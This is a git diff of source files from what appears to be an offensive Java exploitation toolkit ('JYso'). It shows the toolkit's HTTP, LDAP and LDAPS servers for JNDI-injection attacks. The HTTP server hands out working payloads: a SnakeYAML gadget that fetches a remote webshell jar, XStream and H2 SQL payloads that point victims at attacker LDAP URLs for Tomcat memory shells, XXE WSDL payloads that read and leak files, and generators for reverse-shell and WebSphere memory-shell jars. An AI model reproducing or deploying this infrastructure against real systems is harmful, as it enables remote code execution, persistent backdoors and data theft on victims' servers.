exchange.getResponseBody().write(listWsdl.getBytes()); - } else { - System.out.println(ansi().render("@|red [!] Missing or wrong argument|@")); - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - } - exchange.close(); - - } else if (path.startsWith("upload")) { - String type = params.get("type"); - - String[] args = null; - if (type.equalsIgnoreCase("command")) { - args = new String[]{params.get("cmd")}; - } else if (type.equalsIgnoreCase("dnslog")) { - args = new String[]{params.get("url")}; - } else if (type.equalsIgnoreCase("reverseshell")) { - args = new String[]{params.get("ip"), params.get("port")}; - } - - String jarName = createJar(type, args); - if (jarName != null) { - String uploadWsdl = ""; - - System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); - exchange.sendResponseHeaders(200, uploadWsdl.getBytes().length); - exchange.getResponseBody().write(uploadWsdl.getBytes()); - } else { - System.out.println(ansi().render("@|red [!] Missing or wrong argument|@")); - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - } - exchange.close(); - } else if (path.startsWith("http")) { - String xxhttp = "'>'>%ccc;"; - System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); - exchange.sendResponseHeaders(200, xxhttp.getBytes().length); - exchange.getResponseBody().write(xxhttp.getBytes()); - exchange.close(); - } else { - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - exchange.close(); - } - } - - private static Map parseQuery(String query) { - Map params = new HashMap<>(); - - try { - for (String str : query.split("&")) { - try { - String[] parts = str.split("=", 2); - params.put(parts[0], parts[1]); - } catch (Exception e) { - //continue - } - } - } catch (Exception e) { - //continue - } - - return params; - } - - private static String createJar(String type, String... params) throws Exception { - byte[] bytes; - String className = "xExportObject"; - - switch (type.toLowerCase()) { - case "reverseshell": - ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], "xExportObject"); - bytes = reverseShellTemplate.getBytes(); - break; - case "webspherememshell": - ClassPool classPool = ClassPool.getDefault(); - CtClass exploitClass = classPool.get("com.feihong.ldap.template.WebsphereMemshellTemplate"); - exploitClass.setName(className); - exploitClass.detach(); - bytes = exploitClass.toBytecode(); - break; - default: - return null; - } - - System.out.println(ansi().render("@|green [+] Name of Class in Jar: |@" + className)); - ByteArrayOutputStream bout = new ByteArrayOutputStream(); - JarOutputStream jarOut = new JarOutputStream(bout); - jarOut.putNextEntry(new ZipEntry(className + ".class")); - jarOut.write(bytes); - jarOut.closeEntry(); - jarOut.close(); - bout.close(); - - return Utils.getRandomString(); - } +package com.qi4l.JYso; + +import cn.hutool.core.io.file.FileReader; +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.utils.Utils; +import com.qi4l.JYso.template.ReverseShellTemplate; +import com.sun.net.httpserver.HttpExchange; +import com.sun.net.httpserver.HttpHandler; +import com.sun.net.httpserver.HttpServer; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.lang3.reflect.FieldUtils; + +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.net.InetSocketAddress; +import java.nio.charset.StandardCharsets; +import java.util.HashMap; +import java.util.Map; +import java.util.jar.JarOutputStream; +import java.util.zip.ZipEntry; + +import static org.fusesource.jansi.Ansi.ansi; + +public class HTTPServer { + //获取根目录路径 + public static String cwd = System.getProperty("user.dir"); + + public static void start() throws IOException { + + HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0); + httpServer.createContext("/", new HttpHandler() { + @Override + public void handle(HttpExchange httpExchange) { + try { + System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI())); + + String qi = String.valueOf(httpExchange.getRequestURI()); + + + if (qi.contains("setPathAlias")) { + Config.BCEL1 = qi.substring(qi.indexOf("=") + 1); + System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1)); + } else if (qi.contains("setRoute")) { + Config.ROUTE = qi.substring(qi.indexOf("=") + 1); + System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE)); + } + + String path = httpExchange.getRequestURI().getPath(); + if (path.endsWith(".class")) { + handleClassRequest(httpExchange); + } else if (path.endsWith(".wsdl")) { + handleWSDLRequest(httpExchange); + } else if (path.endsWith(".jar")) { + handleJarRequest(httpExchange); + } else if (path.startsWith("/xxelog")) { + handleXXELogRequest(httpExchange); + } else if (path.endsWith(".sql")) { + handleSQLRequest(httpExchange); + } else if (path.endsWith(".groovy")) { + handlerGroovyRequest(httpExchange); + } else if (path.endsWith(".xml")) { + handleXMLRequest(httpExchange); + } else if (path.endsWith(".txt")) { + handleTXTRequest(httpExchange); + } else if (path.endsWith(".yml")) { + handleYmlRequest(httpExchange); + } else { + handleFileRequest(httpExchange); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + }); + + httpServer.setExecutor(null); + httpServer.start(); + System.out.println(ansi().render("@|green [+]|@ HTTP Server Start Listening on >> " + Config.httpPort + "...")); + } + + private static void handleFileRequest(HttpExchange exchange) throws Exception { + System.out.println("[-] 请求的后缀不对"); + String path = exchange.getRequestURI().getPath(); + String filename = cwd + File.separator + "data" + File.separator + path.substring(path.lastIndexOf("/") + 1); + File file = new File(filename); + if (file.exists()) { + byte[] bytes = new byte[(int) file.length()]; + FileInputStream fileInputStream = new FileInputStream(file); + fileInputStream.read(bytes); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + exchange.close(); + + } + + private static void handleYmlRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); +// String host = exchange.getRequestURI().getHost(); + String YamlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + String bytes = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"http://" + Config.ip + ":" + Config.httpPort + "/behinder3.jar\"]\n" + + " ]]\n" + + "]\n"; + + if (YamlName.equalsIgnoreCase("snake")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); +// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); +// exchange.sendResponseHeaders(200, yaml.getObject().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); +// exchange.getResponseBody().write(yaml.getObject("UTF-8")); + } else { + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + YamlName + ".yml"); + if (file.exists()) { + byte[] bytes1 = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes1); + } + exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes1); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + + } + exchange.close(); + } + + public static void handleTXTRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String txtname = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + if (txtname.equalsIgnoreCase("isok")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + byte[] bytes = "success!".getBytes(); + exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); + exchange.sendResponseHeaders(200, bytes.length + 1); + exchange.getResponseBody().write(bytes); + } else { + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + txtname + ".txt"); + + if (file.exists()) { + + byte[] bytes1 = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes1); + } + exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes1); + } else { + System.out.println(ansi().render("@|red [!] Response Code: @|" + 404)); + exchange.sendResponseHeaders(404, 0); + } + } + exchange.close(); + } + + public static void handleXMLRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); +// String host = exchange.getRequestURI().getHost(); + String xmlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + String bytes = "\n \n"; + String xstream = "\n" + + " \n" + + " 0\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " false\n" + + " 0\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " 1008\n" + + " true\n" + + " 1000\n" + + " 0\n" + + " 2\n" + + " 0\n" + + " 0\n" + + " 0\n" + + " true\n" + + " 1004\n" + + " false\n" + + " ldap://" + Config.ip + ":1389/basic/TomcatMemShell3\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " com.sun.rowset.JdbcRowSetImpl\n" + + " getDatabaseMetaData\n" + + " \n" + + " \n" + + " foo\n" + + " \n" + + " foo\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " false\n" + + " 0\n" + + " 0\n" + + " false\n" + + " \n" + + " false\n" + + " \n" + + " \n" + + " \n" + + " 0\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; + + if (xmlName.equals("a")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + + + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); + } else if (xmlName.equals("x")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8"); + exchange.sendResponseHeaders(200, xstream.getBytes().length + 1); + exchange.getResponseBody().write(xstream.getBytes(StandardCharsets.UTF_8)); + + } else { + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + xmlName + ".xml"); + + if (file.exists()) { + byte[] bytes1 = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes1); + } + exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8"); +// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes1); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + + } + exchange.close(); + + } + + public static void handleSQLRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String host = exchange.getRequestURI().getHost(); + String sqlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + + if (sqlName.equalsIgnoreCase("echo")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + + String name = String.valueOf(System.nanoTime()); + String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" + + "{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap://" + host + ":1389/TomcatBypass/TomcatEcho\");',' 'o.setAutoCommit(\"true\");,'}');" + + "CALL " + name + "();\"}"; + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); + } else if (sqlName.equalsIgnoreCase("inject")) { + System.out.println("@|green Response Code: |@" + 200); + + String name = String.valueOf(System.nanoTime()); + String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" + + "{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap:// + host + :1389/inject.class\");',' 'o.setAutoCommit(\"true\");,'}');" + + "CALL " + name + "();\"}"; + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); + + } else { + + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + sqlName + ".sql"); + + if (file.exists()) { + byte[] bytes = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes); + } +// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + } + exchange.close(); + } + + public static void handlerGroovyRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String host = exchange.getRequestURI().getHost(); + String exp = "/TomcatBypass/TomcatEcho"; + String groovyName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + + if (groovyName.equalsIgnoreCase("groovyecho")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + + String bytes = "class demo {\n" + + " static void main(){\n" + + " com.sun.rowset.JdbcRowSetImpl o = new com.sun.rowset.JdbcRowSetImpl();\n" + + " o.setDataSourceName(\"ldap://" + host + ":1389" + exp + "\");\n" + + " o.setAutoCommit(true);\n" + + " }\n" + + "}\n"; + + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); + + } else { + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + groovyName + ".groovy"); + + if (file.exists()) { + byte[] bytes = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes); + } +// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + + } + exchange.close(); + + } + + public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException { + Object exchangeImpl = FieldUtils.readField(exchange, "impl", true); + Object request = FieldUtils.readField(exchangeImpl, "req", true); + String startLine = (String) FieldUtils.readField(request, "startLine", true); + + System.out.println(ansi().render("@|green [+] XXE Attack Result: |@" + startLine)); + exchange.sendResponseHeaders(200, 0); + exchange.close(); + } + + private static void handleJarRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + + if (jarName.equalsIgnoreCase("behinder3")) { + byte[] bytes; + String filename = cwd + File.separator + "data" + File.separator + "behinder3.jar"; + FileReader fileReader = new FileReader(filename, "UTF-8"); + bytes = fileReader.readBytes(); + exchange.sendResponseHeaders(200, bytes.length + 1); + exchange.getResponseBody().write(bytes); + } else { + + String filename = cwd + File.separator + "data" + File.separator + jarName + ".jar"; + File file = new File(filename); + if (file.exists()) { + byte[] bytes; + FileReader fileReader = new FileReader(filename, "UTF-8"); + bytes = fileReader.readBytes(); + exchange.sendResponseHeaders(200, bytes.length + 1); + exchange.getResponseBody().write(bytes); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + + } + exchange.close(); + + + } + + private static void handleClassRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class")); + + String pa = cwd + path; + File file = new File(pa); + + if (file.exists()) { + byte[] bytes = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes); + } + exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); + exchange.sendResponseHeaders(200, file.length()); + exchange.getResponseBody().write(bytes); + + System.out.println(ansi().render("@|green [+] 远程类加载成功 |@" + 200)); + System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------"); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + + exchange.close(); + } + + private static void handleWSDLRequest(HttpExchange exchange) throws Exception { + String query = exchange.getRequestURI().getQuery(); + Map params = parseQuery(query); + + String path = exchange.getRequestURI().getPath().substring(1); + + if (path.startsWith("list")) { + //intended to list directories or read files on server + String file = params.get("file"); + if (file != null && !file.isEmpty()) { + String listWsdl = "" + + "\n" + + " \n" + + " %bbb;\n" + + "]>\n" + + "\n" + + " &ddd;\n" + + ""; + + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + exchange.sendResponseHeaders(200, listWsdl.getBytes().length); + exchange.getResponseBody().write(listWsdl.getBytes()); + } else { + System.out.println(ansi().render("@|red [!] Missing or wrong argument|@")); + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + exchange.close(); + + } else if (path.startsWith("upload")) { + String type = params.get("type"); + + String[] args = null; + if (type.equalsIgnoreCase("command")) { + args = new String[]{params.get("cmd")}; + } else if (type.equalsIgnoreCase("dnslog")) { + args = new String[]{params.get("url")}; + } else if (type.equalsIgnoreCase("reverseshell")) { + args = new String[]{params.get("ip"), params.get("port")}; + } + + String jarName = createJar(type, args); + if (jarName != null) { + String uploadWsdl = ""; + + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + exchange.sendResponseHeaders(200, uploadWsdl.getBytes().length); + exchange.getResponseBody().write(uploadWsdl.getBytes()); + } else { + System.out.println(ansi().render("@|red [!] Missing or wrong argument|@")); + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + exchange.close(); + } else if (path.startsWith("http")) { + String xxhttp = "'>'>%ccc;"; + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + exchange.sendResponseHeaders(200, xxhttp.getBytes().length); + exchange.getResponseBody().write(xxhttp.getBytes()); + exchange.close(); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + exchange.close(); + } + } + + private static Map parseQuery(String query) { + Map params = new HashMap<>(); + + try { + for (String str : query.split("&")) { + try { + String[] parts = str.split("=", 2); + params.put(parts[0], parts[1]); + } catch (Exception e) { + //continue + } + } + } catch (Exception e) { + //continue + } + + return params; + } + + private static String createJar(String type, String... params) throws Exception { + byte[] bytes; + String className = "xExportObject"; + + switch (type.toLowerCase()) { + case "reverseshell": + ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], "xExportObject"); + bytes = reverseShellTemplate.getBytes(); + break; + case "webspherememshell": + ClassPool classPool = ClassPool.getDefault(); + CtClass exploitClass = classPool.get("com.feihong.ldap.template.WebsphereMemshellTemplate"); + exploitClass.setName(className); + exploitClass.detach(); + bytes = exploitClass.toBytecode(); + break; + default: + return null; + } + + System.out.println(ansi().render("@|green [+] Name of Class in Jar: |@" + className)); + ByteArrayOutputStream bout = new ByteArrayOutputStream(); + JarOutputStream jarOut = new JarOutputStream(bout); + jarOut.putNextEntry(new ZipEntry(className + ".class")); + jarOut.write(bytes); + jarOut.closeEntry(); + jarOut.close(); + bout.close(); + + return Utils.getRandomString(); + } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/LdapServer.java b/src/main/java/com/qi4l/JYso/LdapServer.java index d7a42b2..d58d53e 100644 --- a/src/main/java/com/qi4l/JYso/LdapServer.java +++ b/src/main/java/com/qi4l/JYso/LdapServer.java @@ -1,122 +1,122 @@ -package com.qi4l.JYso; - -import com.qi4l.JYso.controllers.LdapController; -import com.qi4l.JYso.controllers.LdapMapping; -import com.qi4l.JYso.controllers.utils.JNDIUtils; -import com.qi4l.JYso.gadgets.Config.Config; -import com.unboundid.ldap.listener.InMemoryDirectoryServer; -import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; -import com.unboundid.ldap.listener.InMemoryListenerConfig; -import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; -import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; -import org.reflections.Reflections; - -import javax.net.ServerSocketFactory; -import javax.net.SocketFactory; -import javax.net.ssl.SSLSocketFactory; -import java.lang.reflect.Constructor; -import java.net.InetAddress; -import java.util.Set; -import java.util.TreeMap; - -import static com.qi4l.JYso.gadgets.Config.Config.*; -import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode; -import static org.fusesource.jansi.Ansi.ansi; - - -public class LdapServer extends InMemoryOperationInterceptor { - - public static TreeMap routes = new TreeMap<>(); - - public LdapServer() throws Exception { - - //find all classes annotated with @LdapMapping - Set> controllers = new Reflections(this.getClass().getPackage().getName()) - .getTypesAnnotatedWith(LdapMapping.class); - - //instantiate them and store in the routes map - for (Class controller : controllers) { - Constructor cons = controller.getConstructor(); - LdapController instance = (LdapController) cons.newInstance(); - String[] mappings = controller.getAnnotation(LdapMapping.class).uri(); - for (String mapping : mappings) { - if (mapping.startsWith("/")) { - mapping = mapping.substring(1); //remove first forward slash - routes.put(mapping, instance); - } - } - } - } - - public static void start() { - try { - InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com"); - - serverConfig.setListenerConfigs(new InMemoryListenerConfig( - "listen", - InetAddress.getByName("0.0.0.0"), - Config.ldapPort, - ServerSocketFactory.getDefault(), - SocketFactory.getDefault(), - (SSLSocketFactory) SSLSocketFactory.getDefault())); - - if (!USER.equals("") || !PASSWD.equals("")) { - serverConfig.addAdditionalBindCredentials(USER, PASSWD); - } - - //添加操作拦截器 - //将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。 - serverConfig.addInMemoryOperationInterceptor(new LdapServer()); - InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig); - ds.startListening(); - System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >> " + Config.ldapPort + "...")); - } catch (Exception e) { - e.printStackTrace(); - } - } - - @Override - public void processSearchResult(InMemoryInterceptedSearchResult result) { - String base; - if (!ROUTE.equals("")) { - base = ROUTE; - } else { - base = result.getRequest().getBaseDN(); - } - try { - if (!AESkey.equals("123")) { - base = base64Decode(base); - base = JNDIUtils.decrypt(base, AESkey); - } - } catch (Exception AESerr) { - - } - - //收到ldap请求 - //System.out.println(ansi().render("@|green [+] Received LDAP Query : |@" + base)); - LdapController controller = null; - //find controller - //根据请求的路径从route中匹配相应的controller - for (String key : routes.keySet()) { - //compare using wildcard at the end - if (base.toLowerCase().startsWith(key)) { - controller = routes.get(key); - break; - } - } - - - if (controller == null) { - System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base)); - return; - } - - try { - //从控制器中进行返回 - controller.process(base); - controller.sendResult(result, base); - } catch (Exception e1) { - System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage())); - } - } +package com.qi4l.JYso; + +import com.qi4l.JYso.controllers.LdapController; +import com.qi4l.JYso.controllers.LdapMapping; +import com.qi4l.JYso.controllers.utils.JNDIUtils; +import com.qi4l.JYso.gadgets.Config.Config; +import com.unboundid.ldap.listener.InMemoryDirectoryServer; +import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; +import com.unboundid.ldap.listener.InMemoryListenerConfig; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; +import org.reflections.Reflections; + +import javax.net.ServerSocketFactory; +import javax.net.SocketFactory; +import javax.net.ssl.SSLSocketFactory; +import java.lang.reflect.Constructor; +import java.net.InetAddress; +import java.util.Set; +import java.util.TreeMap; + +import static com.qi4l.JYso.gadgets.Config.Config.*; +import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode; +import static org.fusesource.jansi.Ansi.ansi; + + +public class LdapServer extends InMemoryOperationInterceptor { + + public static TreeMap routes = new TreeMap<>(); + + public LdapServer() throws Exception { + + //find all classes annotated with @LdapMapping + Set> controllers = new Reflections(this.getClass().getPackage().getName()) + .getTypesAnnotatedWith(LdapMapping.class); + + //instantiate them and store in the routes map + for (Class controller : controllers) { + Constructor cons = controller.getConstructor(); + LdapController instance = (LdapController) cons.newInstance(); + String[] mappings = controller.getAnnotation(LdapMapping.class).uri(); + for (String mapping : mappings) { + if (mapping.startsWith("/")) { + mapping = mapping.substring(1); //remove first forward slash + routes.put(mapping, instance); + } + } + } + } + + public static void start() { + try { + InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com"); + + serverConfig.setListenerConfigs(new InMemoryListenerConfig( + "listen", + InetAddress.getByName("0.0.0.0"), + Config.ldapPort, + ServerSocketFactory.getDefault(), + SocketFactory.getDefault(), + (SSLSocketFactory) SSLSocketFactory.getDefault())); + + if (!USER.equals("") || !PASSWD.equals("")) { + serverConfig.addAdditionalBindCredentials(USER, PASSWD); + } + + //添加操作拦截器 + //将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。 + serverConfig.addInMemoryOperationInterceptor(new LdapServer()); + InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig); + ds.startListening(); + System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >> " + Config.ldapPort + "...")); + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void processSearchResult(InMemoryInterceptedSearchResult result) { + String base; + if (!ROUTE.equals("")) { + base = ROUTE; + } else { + base = result.getRequest().getBaseDN(); + } + try { + if (!AESkey.equals("123")) { + base = base64Decode(base); + base = JNDIUtils.decrypt(base, AESkey); + } + } catch (Exception AESerr) { + + } + + //收到ldap请求 + //System.out.println(ansi().render("@|green [+] Received LDAP Query : |@" + base)); + LdapController controller = null; + //find controller + //根据请求的路径从route中匹配相应的controller + for (String key : routes.keySet()) { + //compare using wildcard at the end + if (base.toLowerCase().startsWith(key)) { + controller = routes.get(key); + break; + } + } + + + if (controller == null) { + System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base)); + return; + } + + try { + //从控制器中进行返回 + controller.process(base); + controller.sendResult(result, base); + } catch (Exception e1) { + System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage())); + } + } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/LdapsServer.java b/src/main/java/com/qi4l/JYso/LdapsServer.java index 8b8253f..eb2c35c 100644 --- a/src/main/java/com/qi4l/JYso/LdapsServer.java +++ b/src/main/java/com/qi4l/JYso/LdapsServer.java @@ -1,59 +1,59 @@ -package com.qi4l.JYso; - -import com.qi4l.JYso.gadgets.Config.Config; -import com.unboundid.ldap.listener.InMemoryDirectoryServer; -import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; -import com.unboundid.ldap.listener.InMemoryListenerConfig; -import com.unboundid.util.ssl.KeyStoreKeyManager; -import com.unboundid.util.ssl.SSLUtil; -import com.unboundid.util.ssl.TrustAllTrustManager; -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; - -import static org.fusesource.jansi.Ansi.ansi; - -public class LdapsServer { - private static final Logger log = LogManager.getLogger(LdapsServer.class); - private final String certFile; - private final String keyPass; - - public LdapsServer(String certFile, String keyPass) { - this.certFile = certFile; - this.keyPass = keyPass; - } - - public static void start() { - System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "...")); - new LdapsServer(Config.certFile, Config.keyPass).run(); - } - - public void run() { - // 设置JDK信任证书 - System.setProperty("javax.net.ssl.trustStore", certFile); - System.setProperty("javax.net.ssl.trustStorePassword", keyPass); - - try { - SSLUtil serverSSLUtil = new SSLUtil( - new KeyStoreKeyManager(certFile, keyPass.toCharArray()), - new TrustAllTrustManager() - ); - SSLUtil clientSSLUtil = new SSLUtil(new TrustAllTrustManager()); - - InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com"); - config.setListenerConfigs(InMemoryListenerConfig.createLDAPSConfig( - "listen-ldaps", - null, - Integer.parseInt(String.valueOf(Config.ldapsPort)), - serverSSLUtil.createSSLServerSocketFactory(), - clientSSLUtil.createSSLSocketFactory() - )); - config.addInMemoryOperationInterceptor(new LdapServer()); - - InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); - ds.startListening(); - System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "...")); - } catch (Exception e) { - log.error("e: ", e); - } - } +package com.qi4l.JYso; + +import com.qi4l.JYso.gadgets.Config.Config; +import com.unboundid.ldap.listener.InMemoryDirectoryServer; +import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; +import com.unboundid.ldap.listener.InMemoryListenerConfig; +import com.unboundid.util.ssl.KeyStoreKeyManager; +import com.unboundid.util.ssl.SSLUtil; +import com.unboundid.util.ssl.TrustAllTrustManager; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; + +import static org.fusesource.jansi.Ansi.ansi; + +public class LdapsServer { + private static final Logger log = LogManager.getLogger(LdapsServer.class); + private final String certFile; + private final String keyPass; + + public LdapsServer(String certFile, String keyPass) { + this.certFile = certFile; + this.keyPass = keyPass; + } + + public static void start() { + System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "...")); + new LdapsServer(Config.certFile, Config.keyPass).run(); + } + + public void run() { + // 设置JDK信任证书 + System.setProperty("javax.net.ssl.trustStore", 